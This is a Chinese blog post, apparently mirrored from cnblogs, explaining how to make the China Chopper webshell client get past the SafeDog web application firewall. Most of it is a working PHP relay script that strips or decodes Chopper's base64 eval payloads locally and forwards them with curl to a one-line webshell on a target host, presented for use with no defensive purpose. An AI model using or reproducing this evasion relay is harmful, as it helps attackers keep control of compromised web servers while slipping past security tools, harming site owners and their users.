zoukankan      html  css  js  c++  java
  • 简单几步让中国菜刀绕过安全狗

    有些一句话虽然可以单独成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

    首先在本地搭建WEB SERVER,然后写一个php转发程序:

    $target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
    $poststr='';
    $i=0;
    foreach($_POST as $k=>$v)
    {
    if(strstr($v, "base64_decode"))
    {
    $v=str_replace("base64_decode(","",$v);
    $v=str_replace("))",")",$v);
    }
    else
    {
    if($k==="z0")
    $v=base64_decode($v);
    }
    $pp=$k."=".urlencode($v);
    //echo($pp);
    if($i!=0)
    {
    $poststr=$poststr."&".$pp;
    }
    else
    {
    $poststr=$pp;
    }
    $i=$i+1;
    }
    $ch = curl_init();
    $curl_url = $target."?".$_SERVER['QUERY_STRING'];
    curl_setopt($ch, CURLOPT_URL, $curl_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
    ?>

    意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

    这样就可以使用菜刀来连接前面那个一句话马了:

    这样就能用菜刀了

  • 相关阅读:
    0593. Valid Square (M)
    0832. Flipping an Image (E)
    1026. Maximum Difference Between Node and Ancestor (M)
    0563. Binary Tree Tilt (E)
    0445. Add Two Numbers II (M)
    1283. Find the Smallest Divisor Given a Threshold (M)
    C Primer Plus note9
    C Primer Plus note8
    C Primer Plus note7
    C Primer Plus note6
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154569.html
Copyright © 2011-2022 走看看